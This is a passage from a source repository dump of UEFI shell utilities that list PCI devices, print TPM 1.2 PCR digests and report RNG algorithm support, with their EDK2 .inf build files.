321 | 322 | if (Descriptors == NULL) { 323 | break; 324 | } 325 | } 326 | } 327 | 328 | Print(L"\n"); 329 | 330 | Done: 331 | if (HandleBuf != NULL) { 332 | FreePool(HandleBuf); 333 | } 334 | 335 | return Status; 336 | } 337 | -------------------------------------------------------------------------------- /MyApps/ShowPCI/ShowPCI.inf: -------------------------------------------------------------------------------- 1 | [Defines] 2 | INF_VERSION = 0x00010006 3 | BASE_NAME = ShowPCI 4 | FILE_GUID = 4ea87c51-7491-4dfd-0055-767013f3ce51 5 | MODULE_TYPE = UEFI_APPLICATION 6 | VERSION_STRING = 0.1 7 | ENTRY_POINT = ShellCEntryLib 8 | VALID_ARCHITECTURES = X64 9 | 10 | 11 | 12 | [Sources] 13 | ShowPCI.c 14 | 15 | [Packages] 16 | MdePkg/MdePkg.dec 17 | ShellPkg/ShellPkg.dec 18 | 19 | 20 | [LibraryClasses] 21 | ShellCEntryLib 22 | ShellLib 23 | ShellCommandLib 24 | BaseLib 25 | BaseMemoryLib 26 | UefiLib 27 | 28 | [Protocols] 29 | gEfiPciRootBridgeIoProtocolGuid ## CONSUMES 30 | 31 | 32 | [BuildOptions] 33 | 34 | [Pcd] 35 | 36 | -------------------------------------------------------------------------------- /MyApps/ShowPCIx/ShowPCIx.c: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright (c) 2017 Finnbarr P. Murphy. All rights reserved. 3 | // 4 | // Show PCI devices using PCI.IDS text-based database 5 | // 6 | // License: UDK2015 license applies to code from UDK2015 source, 7 | // BSD 2 cluase license applies to all other code. 8 | // 9 | 10 | 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | 22 | #include 23 | #include 24 | #include 25 | 26 | #include 27 | 28 | #define CALC_EFI_PCI_ADDRESS(Bus, Dev, Func, Reg) \ 29 | ((UINT64) ((((UINTN) Bus) << 24) + (((UINTN) Dev) << 16) + (((UINTN) Func) << 8) + ((UINTN) Reg))) 30 | 31 | // all typedefs from UDK2015 sources 32 | #pragma pack(1) 33 | typedef struct { 34 | UINT16 VendorId; 35 | UINT16 DeviceId; 36 | UINT16 Command; 37 | UINT16 Status; 38 | UINT8 RevisionId; 39 | UINT8 ClassCode[3]; 40 | UINT8 CacheLineSize; 41 | UINT8 PrimaryLatencyTimer; 42 | UINT8 HeaderType; 43 | UINT8 Bist; 44 | } PCI_COMMON_HEADER; 45 | 46 | typedef struct { 47 | UINT32 Bar[6]; // Base Address Registers 48 | UINT32 CardBusCISPtr; // CardBus CIS Pointer 49 | UINT16 SubVendorId; // Subsystem Vendor ID 50 | UINT16 SubSystemId; // Subsystem ID 51 | UINT32 ROMBar; // Expansion ROM Base Address 52 | UINT8 CapabilitiesPtr; // Capabilities Pointer 53 | UINT8 Reserved[3]; 54 | UINT32 Reserved1; 55 | UINT8 InterruptLine; // Interrupt Line 56 | UINT8 InterruptPin; // Interrupt Pin 57 | UINT8 MinGnt; // Min_Gnt 58 | UINT8 MaxLat; // Max_Lat 59 | } PCI_DEVICE_HEADER; 60 | 61 | typedef struct { 62 | UINT32 CardBusSocketReg; // Cardus Socket/ExCA Base Address Register 63 | UINT8 CapabilitiesPtr; // 14h in pci-cardbus bridge. 64 | UINT8 Reserved; 65 | UINT16 SecondaryStatus; // Secondary Status 66 | UINT8 PciBusNumber; // PCI Bus Number 67 | UINT8 CardBusBusNumber; // CardBus Bus Number 68 | UINT8 SubordinateBusNumber; // Subordinate Bus Number 69 | UINT8 CardBusLatencyTimer; // CardBus Latency Timer 70 | UINT32 MemoryBase0; // Memory Base Register 0 71 | UINT32 MemoryLimit0; // Memory Limit Register 0 72 | UINT32 MemoryBase1; 73 | UINT32 MemoryLimit1; 74 | UINT32 IoBase0; 75 | UINT32 IoLimit0; // I/O Base Register 0 76 | UINT32 IoBase1; // I/O Limit Register 0 77 | UINT32 IoLimit1; 78 | UINT8 InterruptLine; // Interrupt Line 79 | UINT8 InterruptPin; // Interrupt Pin 80 | UINT16 BridgeControl; // Bridge Control 81 | } PCI_CARDBUS_HEADER; 82 | 83 | typedef union { 84 | PCI_DEVICE_HEADER Device; 85 | PCI_CARDBUS_HEADER CardBus; 86 | } NON_COMMON_UNION; 87 | 88 | typedef struct { 89 | PCI_COMMON_HEADER Common; 90 | NON_COMMON_UNION NonCommon; 91 | UINT32 Data[48]; 92 | } PCI_CONFIG_SPACE; 93 | #pragma pack() 94 | 95 | #define UTILITY_VERSION L"0.8" 96 | #define LINE_MAX 1024 97 | 98 | #define EFI_PCI_EMUMERATION_COMPLETE_GUID \ 99 | { 0x30cfe3e7, 0x3de1, 0x4586, {0xbe, 0x20, 0xde, 0xab, 0xa1, 0xb3, 0xb7, 0x93}} 100 | 101 | 102 | CHAR16 * 103 | GetDeviceDesc( CHAR16 *Line) 104 | { 105 | CHAR16 *s = Line; 106 | static CHAR16 DeviceDesc[LINE_MAX]; 107 | CHAR16 *d = DeviceDesc; 108 | 109 | s++; 110 | while (*s++) { 111 | if (*s == L' ' || *s == L'\t') 112 | break; 113 | } 114 | 115 | while (*s++) { 116 | if (*s != L' ' && *s != L'\t') 117 | break; 118 | } 119 | 120 | while (*s) { 121 | *(d++) = *(s++); 122 | } 123 | *d = 0; 124 | 125 | return DeviceDesc; 126 | } 127 | 128 | 129 | CHAR16 * 130 | GetVendorDesc( CHAR16 *Line) 131 | { 132 | CHAR16 *s = Line; 133 | static CHAR16 VendorDesc[LINE_MAX]; 134 | CHAR16 *d = VendorDesc; 135 | 136 | while (*s++) { 137 | if (*s == L' ' || *s == L'\t') 138 | break; 139 | } 140 | 141 | while (*s++) { 142 | if (*s != L' ' && *s != L'\t') 143 | break; 144 | } 145 | 146 | while (*s) { 147 | *(d++) = *(s++); 148 | } 149 | *d = 0; 150 | 151 | return VendorDesc; 152 | } 153 | 154 | 155 | // 156 | // Copyed from UDK2015 Source. 157 | // 158 | EFI_STATUS 159 | PciGetNextBusRange( EFI_ACPI_ADDRESS_SPACE_DESCRIPTOR **Descriptors, 160 | UINT16 *MinBus, 161 | UINT16 *MaxBus, 162 | BOOLEAN *IsEnd) 163 | { 164 | *IsEnd = FALSE; 165 | 166 | if ((*Descriptors) == NULL) { 167 | *MinBus = 0; 168 | *MaxBus = PCI_MAX_BUS; 169 | return EFI_SUCCESS; 170 | } 171 | 172 | while ((*Descriptors)->Desc != ACPI_END_TAG_DESCRIPTOR) { 173 | if ((*Descriptors)->ResType == ACPI_ADDRESS_SPACE_TYPE_BUS) { 174 | *MinBus = (UINT16) (*Descriptors)->AddrRangeMin; 175 | *MaxBus = (UINT16) (*Descriptors)->AddrRangeMax; 176 | (*Descriptors)++; 177 | return (EFI_SUCCESS); 178 | } 179 | 180 | (*Descriptors)++; 181 | } 182 | 183 | if ((*Descriptors)->Desc == ACPI_END_TAG_DESCRIPTOR) { 184 | *IsEnd = TRUE; 185 | } 186 | 187 | return EFI_SUCCESS; 188 | } 189 | 190 | 191 | // 192 | // Copyed from UDK2015 Source. 193 | // 194 | EFI_STATUS 195 | PciGetProtocolAndResource( EFI_HANDLE Handle, 196 | EFI_PCI_ROOT_BRIDGE_IO_PROTOCOL **IoDev, 197 | EFI_ACPI_ADDRESS_SPACE_DESCRIPTOR **Descriptors) 198 | { 199 | EFI_STATUS Status; 200 | 201 | Status = gBS->HandleProtocol( Handle, 202 | &gEfiPciRootBridgeIoProtocolGuid, 203 | (VOID**)IoDev); 204 | if (EFI_ERROR (Status)) { 205 | return Status; 206 | } 207 | 208 | Status = (*IoDev)->Configuration (*IoDev, (VOID**)Descriptors); 209 | if (Status == EFI_UNSUPPORTED) { 210 | *Descriptors = NULL; 211 | return EFI_SUCCESS; 212 | } 213 | 214 | return Status; 215 | } 216 | 217 | 218 | VOID 219 | LowerCaseStr( CHAR16 *Str) 220 | { 221 | for (int i = 0; Str[i] != L'\0'; i++) { 222 | if (Str[i] >= L'A' && Str[i] <= L'Z') { 223 | Str[i] -= (CHAR16)(L'A' - L'a'); 224 | } 225 | } 226 | } 227 | 228 | 229 | BOOLEAN 230 | SearchPciData( SHELL_FILE_HANDLE FileHandle, 231 | CHAR16 *ReadLine, 232 | UINTN VendorID, 233 | UINTN DeviceID) 234 | { 235 | 236 | EFI_STATUS Status = EFI_SUCCESS; 237 | BOOLEAN Found = FALSE; 238 | BOOLEAN VendorFound = FALSE; 239 | BOOLEAN Ascii = TRUE; 240 | UINTN Size = LINE_MAX; 241 | CHAR16 Vendor[5]; 242 | CHAR16 Device[5]; 243 | 244 | UnicodeSPrint(Vendor, sizeof(Vendor), L"%04x", VendorID); 245 | LowerCaseStr(Vendor); 246 | UnicodeSPrint(Device, sizeof(Device), L"%04x", DeviceID); 247 | LowerCaseStr(Device); 248 | 249 | ShellSetFilePosition(FileHandle, 0); 250 | 251 | // read file line by line 252 | for (;!ShellFileHandleEof(FileHandle); Size = 1024) { 253 | Status = ShellFileHandleReadLine(FileHandle, ReadLine, &Size, TRUE, &Ascii); 254 | if (Status == EFI_BUFFER_TOO_SMALL) { 255 | Status = EFI_SUCCESS; 256 | } else if (EFI_ERROR(Status)) { 257 | break; 258 | } 259 | 260 | // Skip comment and empty lines 261 | if (ReadLine[0] == L'#' || ReadLine[0] == L' ' || 262 | ReadLine[0] == L'\n' || ReadLine[0] == L'\r') { 263 | continue; 264 | } 265 | 266 | if (StrnCmp(ReadLine, Vendor, 4) == 0) { 267 | Print(L" %s", GetVendorDesc(ReadLine)); 268 | VendorFound = TRUE; 269 | } else if (VendorFound && StrnCmp(&ReadLine[1], Device, 4) == 0) { 270 | Print(L", %s", GetDeviceDesc(ReadLine)); 271 | Found = TRUE; 272 | break; 273 | } else if (VendorFound && (StrnCmp(ReadLine, L"\t", 1) != 0) && 274 | (StrnCmp(ReadLine, L"\t\t", 2) != 0)) { 275 | break; 276 | } 277 | } 278 | 279 | return Found; 280 | } 281 | 282 | 283 | VOID 284 | Usage( CHAR16 *Str) 285 | { 286 | Print(L"Usage: %s [ -v | --verbose ]\n", Str); 287 | Print(L" %s [ -h | --help | -V | --version ]\n", Str); 288 | } 289 | 290 | 291 | INTN 292 | EFIAPI 293 | ShellAppMain(UINTN Argc, CHAR16 **Argv) 294 | { 295 | EFI_GUID gEfiPciEnumerationCompleteProtocolGuid = EFI_PCI_EMUMERATION_COMPLETE_GUID; 296 | EFI_STATUS Status = EFI_SUCCESS; 297 | EFI_PCI_ROOT_BRIDGE_IO_PROTOCOL *IoDev; 298 | EFI_ACPI_ADDRESS_SPACE_DESCRIPTOR *Descriptors; 299 | SHELL_FILE_HANDLE InFileHandle = (SHELL_FILE_HANDLE)NULL; 300 | PCI_COMMON_HEADER PciHeader; 301 | PCI_CONFIG_SPACE ConfigSpace; 302 | PCI_DEVICE_HEADER *DeviceHeader; 303 | CHAR16 FileName[] = L"pci.ids"; 304 | CHAR16 *FullFileName = (CHAR16 *)NULL; 305 | CHAR16 *ReadLine = (CHAR16 *)NULL; 306 | VOID *Interface; 307 | EFI_HANDLE *HandleBuf; 308 | UINTN HandleBufSize; 309 | UINTN HandleCount; 310 | UINTN Size = LINE_MAX; 311 | UINT16 MinBus, MaxBus; 312 | UINT64 Address; 313 | BOOLEAN IsEnd; 314 | BOOLEAN Verbose = FALSE; 315 | 316 | for (int i = 1; i < Argc; i++) { 317 | if (!StrCmp(Argv[i], L"--version") || 318 | !StrCmp(Argv[i], L"-V")) { 319 | Print(L"Version: %s\n", UTILITY_VERSION); 320 | return Status; 321 | } else if (!StrCmp(Argv[i], L"--verbose") || 322 | !StrCmp(Argv[i], L"-v")) { 323 | Verbose = TRUE; 324 | } else if (!StrCmp(Argv[i], L"--help") || 325 | !StrCmp(Argv[i], L"-h") || 326 | !StrCmp(Argv[i], L"-?")) { 327 | Usage(Argv[0]); 328 | return Status; 329 | } else { 330 | Print(L"ERROR: Unknown option.\n"); 331 | Usage(Argv[0]); 332 | return Status; 333 | } 334 | } 335 | 336 | 337 | Status = gBS->LocateProtocol( &gEfiPciEnumerationCompleteProtocolGuid, 338 | NULL, 339 | &Interface); 340 | if (EFI_ERROR(Status)) { 341 | Print(L"ERROR: Could not find an enumerated PCI database\n"); 342 | return Status; 343 | } 344 | 345 | HandleBufSize = sizeof(EFI_HANDLE); 346 | HandleBuf = (EFI_HANDLE *) AllocateZeroPool( HandleBufSize); 347 | if (HandleBuf == NULL) { 348 | Print(L"ERROR: Out of memory resources\n"); 349 | goto Done; 350 | } 351 | 352 | Status = gBS->LocateHandle( ByProtocol, 353 | &gEfiPciRootBridgeIoProtocolGuid, 354 | NULL, 355 | &HandleBufSize, 356 | HandleBuf); 357 | 358 | if (Status == EFI_BUFFER_TOO_SMALL) { 359 | HandleBuf = ReallocatePool (sizeof (EFI_HANDLE), HandleBufSize, HandleBuf); 360 | if (HandleBuf == NULL) { 361 | Print(L"ERROR: Out of memory resources\n"); 362 | goto Done; 363 | } 364 | 365 | Status = gBS->LocateHandle( ByProtocol, 366 | &gEfiPciRootBridgeIoProtocolGuid, 367 | NULL, 368 | &HandleBufSize, 369 | HandleBuf); 370 | } 371 | 372 | if (EFI_ERROR (Status)) { 373 | Print(L"ERROR: Failed to find any PCI handles\n"); 374 | goto Done; 375 | } 376 | 377 | if (Verbose) { 378 | FullFileName = ShellFindFilePath(FileName); 379 | if (FullFileName == NULL) { 380 | Print(L"ERROR: Could not find %s\n", FileName); 381 | Status = EFI_NOT_FOUND; 382 | goto Done; 383 | } 384 | 385 | // open the file 386 | Status = ShellOpenFileByName(FullFileName, &InFileHandle, EFI_FILE_MODE_READ, 0); 387 | if (EFI_ERROR(Status)) { 388 | Print(L"ERROR: Could not open %s\n", FileName); 389 | goto Done; 390 | } 391 | 392 | // allocate a buffer to read lines into 393 | ReadLine = AllocateZeroPool(Size); 394 | if (ReadLine == NULL) { 395 | Print(L"ERROR: Could not allocate memory\n"); 396 | Status = EFI_OUT_OF_RESOURCES; 397 | goto Done; 398 | } 399 | } 400 | 401 | HandleCount = HandleBufSize / sizeof (EFI_HANDLE); 402 | 403 | for (UINT16 Index = 0; Index < HandleCount; Index++) { 404 | Status = PciGetProtocolAndResource( HandleBuf[Index], 405 | &IoDev, 406 | &Descriptors); 407 | if (EFI_ERROR(Status)) { 408 | Print(L"ERROR: PciGetProtocolAndResource [%d]\n, Status"); 409 | goto Done; 410 | } 411 | 412 | while(1) { 413 | Status = PciGetNextBusRange( &Descriptors, &MinBus, &MaxBus, &IsEnd); 414 | if (EFI_ERROR(Status)) { 415 | Print(L"ERROR: Retrieving PCI bus range [%d]\n", Status); 416 | goto Done; 417 | } 418 | 419 | if (IsEnd) { 420 | break; 421 | } 422 | 423 | Print(L"\n"); 424 | Print(L"Bus Vendor Device Subvendor SVDevice\n"); 425 | Print(L"\n"); 426 | 427 | for (UINT16 Bus = MinBus; Bus <= MaxBus; Bus++) { 428 | for (UINT16 Device = 0; Device <= PCI_MAX_DEVICE; Device++) { 429 | for (UINT16 Func = 0; Func <= PCI_MAX_FUNC; Func++) { 430 | Address = CALC_EFI_PCI_ADDRESS (Bus, Device, Func, 0); 431 | 432 | Status = IoDev->Pci.Read( IoDev, 433 | EfiPciWidthUint8, 434 | Address, 435 | sizeof(ConfigSpace), 436 | &ConfigSpace); 437 | 438 | DeviceHeader = (PCI_DEVICE_HEADER *) &(ConfigSpace.NonCommon.Device); 439 | 440 | Status = IoDev->Pci.Read( IoDev, 441 | EfiPciWidthUint16, 442 | Address, 443 | 1, 444 | &PciHeader.VendorId); 445 | 446 | if (PciHeader.VendorId == 0xffff && Func == 0) { 447 | break; 448 | } 449 | 450 | if (PciHeader.VendorId != 0xffff) { 451 | Status = IoDev->Pci.Read( IoDev, 452 | EfiPciWidthUint32, 453 | Address, 454 | sizeof(PciHeader)/sizeof(UINT32), 455 | &PciHeader); 456 | 457 | Print(L" %02d %04x %04x %04x %04x", 458 | Bus, PciHeader.VendorId, PciHeader.DeviceId, 459 | DeviceHeader->SubVendorId, DeviceHeader->SubSystemId); 460 | 461 | if (Verbose) { 462 | SearchPciData( InFileHandle, 463 | ReadLine, 464 | PciHeader.VendorId, 465 | PciHeader.DeviceId); 466 | } 467 | 468 | Print(L"\n"); 469 | 470 | if (Func == 0 && 471 | ((PciHeader.HeaderType & HEADER_TYPE_MULTI_FUNCTION) == 0x00)) { 472 | break; 473 | } 474 | } 475 | } 476 | } 477 | } 478 | 479 | if (Descriptors == NULL) { 480 | break; 481 | } 482 | } 483 | } 484 | 485 | Print(L"\n"); 486 | 487 | Done: 488 | if (HandleBuf != NULL) { 489 | FreePool(HandleBuf); 490 | } 491 | if (Verbose) { 492 | if (ReadLine != NULL) { 493 | FreePool(ReadLine); 494 | } 495 | if (FullFileName != NULL) { 496 | FreePool(FullFileName); 497 | } 498 | if (InFileHandle != NULL) { 499 | ShellCloseFile(&InFileHandle); 500 | } 501 | } 502 | 503 | return Status; 504 | } 505 | -------------------------------------------------------------------------------- /MyApps/ShowPCIx/ShowPCIx.inf: -------------------------------------------------------------------------------- 1 | [Defines] 2 | INF_VERSION = 0x00010006 3 | BASE_NAME = ShowPCIx 4 | FILE_GUID = 4ea87c51-7491-4dfd-0055-767013f3ce51 5 | MODULE_TYPE = UEFI_APPLICATION 6 | VERSION_STRING = 0.1 7 | ENTRY_POINT = ShellCEntryLib 8 | VALID_ARCHITECTURES = X64 9 | 10 | 11 | 12 | [Sources] 13 | ShowPCIx.c 14 | 15 | [Packages] 16 | MdePkg/MdePkg.dec 17 | ShellPkg/ShellPkg.dec 18 | 19 | 20 | [LibraryClasses] 21 | ShellCEntryLib 22 | ShellLib 23 | ShellCommandLib 24 | BaseLib 25 | BaseMemoryLib 26 | UefiLib 27 | 28 | [Protocols] 29 | gEfiPciRootBridgeIoProtocolGuid ## CONSUMES 30 | 31 | 32 | [BuildOptions] 33 | 34 | [Pcd] 35 | 36 | -------------------------------------------------------------------------------- /MyApps/ShowPCR12/ShowPCR12.c: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright (c) 2017 Finnbarr P. Murphy. All rights reserved. 3 | // 4 | // Retrieve and print TPMi 1.2 PCR digests 5 | // 6 | // License: BSD License 7 | // 8 | 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | #define UTILITY_VERSION L"0.8" 24 | 25 | #define EFI_TCG2_PROTOCOL_GUID \ 26 | {0x607f766c, 0x7455, 0x42be, { 0x93, 0x0b, 0xe4, 0xd7, 0x6d, 0xb2, 0x72, 0x0f }} 27 | 28 | 29 | 30 | 31 | VOID 32 | Print_PcrDigest(TPM_PCRINDEX PcrIndex, TPM_PCRVALUE *PcrValue) 33 | { 34 | int size = sizeof(TPM_PCRVALUE); 35 | UINT8 *buf = (UINT8 *)PcrValue; 36 | 37 | Print(L"[%02d] ", PcrIndex); 38 | for (int i = 0; i < size; i++) { 39 | Print(L"%02x ", 0xff & buf[i]); 40 | } 41 | Print(L"\n"); 42 | } 43 | 44 | 45 | BOOLEAN 46 | CheckForTpm20() 47 | { 48 | EFI_STATUS Status = EFI_SUCCESS; 49 | EFI_TCG2_PROTOCOL *Tcg2Protocol; 50 | EFI_GUID gEfiTcg2ProtocolGuid = EFI_TCG2_PROTOCOL_GUID; 51 | 52 | Status = gBS->LocateProtocol( &gEfiTcg2ProtocolGuid, 53 | NULL, 54 | (VOID **) &Tcg2Protocol); 55 | if (EFI_ERROR (Status)) { 56 | return FALSE; 57 | } 58 | 59 | return TRUE; 60 | } 61 | 62 | 63 | VOID 64 | Usage(CHAR16 *Str) 65 | { 66 | Print(L"Usage: %s [--version]\n", Str); 67 | } 68 | 69 | 70 | INTN 71 | EFIAPI 72 | ShellAppMain(UINTN Argc, CHAR16 **Argv) 73 | { 74 | EFI_STATUS Status = EFI_SUCCESS; 75 | EFI_TCG_PROTOCOL *TcgProtocol; 76 | EFI_GUID gEfiTcgProtocolGuid = EFI_TCG_PROTOCOL_GUID; 77 | 78 | TPM_RSP_COMMAND_HDR *TpmRsp; 79 | UINT32 TpmSendSize; 80 | UINT8 CmdBuf[64]; 81 | TPM_PCRINDEX PcrIndex; 82 | TPM_PCRVALUE *PcrValue; 83 | 84 | 85 | if (Argc >= 2) { 86 | if (!StrCmp(Argv[1], L"--version")) { 87 | Print(L"Version: %s\n", UTILITY_VERSION); 88 | } else { 89 | Usage(Argv[0]); 90 | } 91 | return Status; 92 | } 93 | 94 | Status = gBS->LocateProtocol( &gEfiTcgProtocolGuid, 95 | NULL, 96 | (VOID **) &TcgProtocol); 97 | if (EFI_ERROR (Status)) { 98 | if (CheckForTpm20()) { 99 | Print(L"ERROR: Platform configured for TPM 2.0, not TPM 1.2\n"); 100 | } else { 101 | Print(L"ERROR: Failed to locate EFI_TCG_PROTOCOL [%d]\n", Status); 102 | } 103 | return Status; 104 | } 105 | 106 | 107 | // Loop through all the PCRs and print each digest 108 | for (PcrIndex = 1; PcrIndex <= TPM_NUM_PCR; PcrIndex++) { 109 | TpmSendSize = sizeof (TPM_RQU_COMMAND_HDR) + sizeof (UINT32); 110 | *(UINT16*)&CmdBuf[0] = SwapBytes16 (TPM_TAG_RQU_COMMAND); 111 | *(UINT32*)&CmdBuf[2] = SwapBytes32 (TpmSendSize); 112 | *(UINT32*)&CmdBuf[6] = SwapBytes32 (TPM_ORD_PcrRead); 113 | *(UINT32*)&CmdBuf[10] = SwapBytes32 (PcrIndex); 114 | 115 | Status = TcgProtocol->PassThroughToTpm( TcgProtocol, 116 | TpmSendSize, 117 | CmdBuf, 118 | sizeof (CmdBuf), 119 | CmdBuf); 120 | if (EFI_ERROR (Status)) { 121 | if (CheckForTpm20()) { 122 | Print(L"ERROR: Platform configured for TPM 2.0, not TPM 1.2\n"); 123 | } else { 124 | Print(L"ERROR: PassThroughToTpm failed [%d]\n", Status); 125 | } 126 | return Status; 127 | } 128 | 129 | TpmRsp = (TPM_RSP_COMMAND_HDR *) &CmdBuf[0]; 130 | if ((TpmRsp->tag != SwapBytes16(TPM_TAG_RSP_COMMAND)) || (TpmRsp->returnCode != 0)) { 131 | Print(L"ERROR: TPM command result [%d]\n", SwapBytes16(TpmRsp->returnCode)); 132 | return EFI_DEVICE_ERROR; 133 | } 134 | 135 | PcrValue = (TPM_PCRVALUE *) &CmdBuf[sizeof (TPM_RSP_COMMAND_HDR)]; 136 | Print_PcrDigest(PcrIndex, PcrValue); 137 | } 138 | 139 | return Status; 140 | } 141 | -------------------------------------------------------------------------------- /MyApps/ShowPCR12/ShowPCR12.inf: -------------------------------------------------------------------------------- 1 | [Defines] 2 | INF_VERSION = 0x00010006 3 | BASE_NAME = ShowPCR12 4 | FILE_GUID = 4ea87c51-7395-4ccd-0355-747011f3ce51 5 | MODULE_TYPE = UEFI_APPLICATION 6 | VERSION_STRING = 0.1 7 | ENTRY_POINT = ShellCEntryLib 8 | VALID_ARCHITECTURES = X64 9 | 10 | [Sources] 11 | ShowPCR12.c 12 | 13 | [Packages] 14 | MdePkg/MdePkg.dec 15 | ShellPkg/ShellPkg.dec 16 | 17 | [LibraryClasses] 18 | ShellCEntryLib 19 | ShellLib 20 | BaseLib 21 | BaseMemoryLib 22 | UefiLib 23 | 24 | [Protocols] 25 | 26 | [BuildOptions] 27 | 28 | [Pcd] 29 | 30 | -------------------------------------------------------------------------------- /MyApps/ShowPCR20/ShowPCR20.inf: -------------------------------------------------------------------------------- 1 | [Defines] 2 | INF_VERSION = 0x00010006 3 | BASE_NAME = ShowPCR20 4 | FILE_GUID = 4ea87c51-7395-4ccd-0355-747111f3ce51 5 | MODULE_TYPE = UEFI_APPLICATION 6 | VERSION_STRING = 0.1 7 | ENTRY_POINT = ShellCEntryLib 8 | VALID_ARCHITECTURES = X64 9 | 10 | [Sources] 11 | ShowPCR20.c 12 | 13 | [Packages] 14 | MdePkg/MdePkg.dec 15 | ShellPkg/ShellPkg.dec 16 | 17 | [LibraryClasses] 18 | ShellCEntryLib 19 | ShellLib 20 | BaseLib 21 | BaseMemoryLib 22 | UefiLib 23 | 24 | [Protocols] 25 | 26 | [BuildOptions] 27 | 28 | [Pcd] 29 | 30 | -------------------------------------------------------------------------------- /MyApps/ShowRNG/ShowRNG.c: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright (c) 2016 Finnbarr P. Murphy. All rights reserved. 3 | // 4 | // Display UEFI RNG (Random Number Generator) algorithm information 5 | // 6 | // License: BSD License 7 | // 8 | 9 | #include 10 | 11 | #include 12 | #include 13 | 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | 21 | #include 22 | #include 23 | #include 24 | 25 | #define UTILITY_VERSION L"0.1" 26 | #undef DEBUG 27 | 28 | 29 | // from Microsoft document - not part of EDK2 at present! 30 | #define EFI_RNG_SERVICE_BINDING_PROTOCOL_GUID \ 31 | {0xe417a4a2, 0x0843, 0x4619, {0xbf, 0x11, 0x5c, 0xe8, 0x2a, 0xfc, 0xfc, 0x59}} 32 | 33 | #define EFI_RNG_ALGORITHM_RAW_GUID \ 34 | {0xe43176d7, 0xb6e8, 0x4827, {0xb7, 0x84, 0x7f, 0xfd, 0xc4, 0xb6, 0x85, 0x61 }} 35 | 36 | 37 | EFI_GUID gEfiRngAlgorithmRawGuid = EFI_RNG_ALGORITHM_RAW_GUID; 38 | EFI_GUID gEfiRngAlgorithmSp80090Ctr256Guid = EFI_RNG_ALGORITHM_SP800_90_CTR_256_GUID; 39 | 40 | 41 | VOID 42 | PrintAlg(EFI_RNG_ALGORITHM *RngAlg) 43 | { 44 | Print (L"%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x ", RngAlg->Data1, 45 | RngAlg->Data2, RngAlg->Data3, RngAlg->Data4[0], RngAlg->Data4[1], 46 | RngAlg->Data4[2], RngAlg->Data4[3], RngAlg->Data4[4], 47 | RngAlg->Data4[5], RngAlg->Data4[6], RngAlg->Data4[7]); 48 | 49 | if (CompareGuid(RngAlg, &gEfiRngAlgorithmRawGuid)) { 50 | Print(L"Raw"); 51 | } 52 | 53 | if (CompareGuid(RngAlg, &gEfiRngAlgorithmSp80090Ctr256Guid)) { 54 | Print(L"NIST SP800-90 AES-CTR-256"); 55 | } 56 | 57 | // Add other algorithm here when implemented in EDK2 58 | } 59 | 60 | 61 | EFI_STATUS 62 | PrintDeviceRng( UINTN Index, 63 | EFI_RNG_PROTOCOL *Rng) 64 | { 65 | EFI_STATUS Status = EFI_SUCCESS; 66 | EFI_RNG_ALGORITHM RngAlgList[10]; 67 | EFI_RNG_ALGORITHM *RngAlg; 68 | UINTN RngAlgCount = 0; 69 | UINTN RngAlgListSize = 0; 70 | UINT8 *Rand; 71 | UINTN RandSize = 32; 72 | 73 | Status = Rng->GetInfo( Rng, 74 | &RngAlgListSize, 75 | RngAlgList); 76 | if (Status != EFI_BUFFER_TOO_SMALL) { 77 | Print (L"ERROR: Rng->GetInfo [%n]\n", Status); 78 | return Status; 79 | } 80 | 81 | #ifdef DEBUG 82 | Print(L"Rng->GetInfo Size: %d %d\n", RngAlgListSize, sizeof(EFI_RNG_ALGORITHM)); 83 | #endif 84 | 85 | RngAlgCount = RngAlgListSize / sizeof(EFI_RNG_ALGORITHM); 86 | if (RngAlgCount == 0) { 87 | // 88 | // This is a hack for poor IBV firmware on Lenovo T450 89 | // 90 | Rand = AllocatePool(RandSize); 91 | if (Rand == NULL) { 92 | Print (L"ERROR: AllocatePool\n"); 93 | return Status; 94 | } 95 | 96 | Status = Rng->GetRNG(Rng, NULL, RandSize, Rand); 97 | FreePool(Rand); 98 | if (EFI_ERROR (Status)) { 99 | Print (L"ERROR: GetRNG default failed [%d]", Status); 100 | return Status; 101 | } 102 | 103 | Print (L"Device: %d Number of supported algorithms: %d\n", Index, 1); 104 | Print (L"\n %d) ", 1); 105 | PrintAlg((EFI_RNG_ALGORITHM *)&gEfiRngAlgorithmRawGuid); 106 | } else { 107 | Print (L"Device: %d Number of supported algorithms: %d\n", Index, RngAlgCount); 108 | 109 | Status = Rng->GetInfo (Rng, &RngAlgListSize, RngAlgList); 110 | if (EFI_ERROR (Status)) { 111 | Print (L"ERROR: GetInfo failed [%d]", Status); 112 | return Status; 113 | } 114 | 115 | for (int index = 0; index < RngAlgCount; index++) { 116 | RngAlg = (EFI_RNG_ALGORITHM *)(&RngAlgList[index]); 117 | Print (L"\n %d) ", index); 118 | PrintAlg(RngAlg); 119 | } 120 | } 121 | 122 | Print (L"\n\n"); 123 | 124 | return Status; 125 | } 126 | 127 | 128 | VOID 129 | Usage(CHAR16 *Str) 130 | { 131 | Print(L"Usage: %s [-V|--version]\n", Str); 132 | } 133 | 134 | 135 | INTN 136 | EFIAPI 137 | ShellAppMain(UINTN Argc, CHAR16 **Argv) 138 | { 139 | EFI_GUID gEfiRngProtocolGuid = EFI_RNG_PROTOCOL_GUID; 140 | EFI_GUID gEfiRngServiceProtocolGuid = EFI_RNG_SERVICE_BINDING_PROTOCOL_GUID; 141 | EFI_STATUS Status = EFI_SUCCESS; 142 | EFI_RNG_PROTOCOL *Rng; 143 | EFI_HANDLE *HandleBuffer; 144 | UINTN HandleCount = 0; 145 | 146 | 147 | if (Argc == 2) { 148 | if (!StrCmp(Argv[1], L"--version") || 149 | !StrCmp(Argv[1], L"-V")) { 150 | Print(L"Version: %s\n", UTILITY_VERSION); 151 | return Status; 152 | } 153 | if (!StrCmp(Argv[1], L"--help") || 154 | !StrCmp(Argv[1], L"-h") || 155 | !StrCmp(Argv[1], L"-?")) { 156 | Usage(Argv[0]); 157 | return Status; 158 | } 159 | } 160 | 161 | // catchall for all other cases 162 | if (Argc > 1) { 163 | Usage(Argv[0]); 164 | return Status; 165 | } 166 | 167 | // Try locating 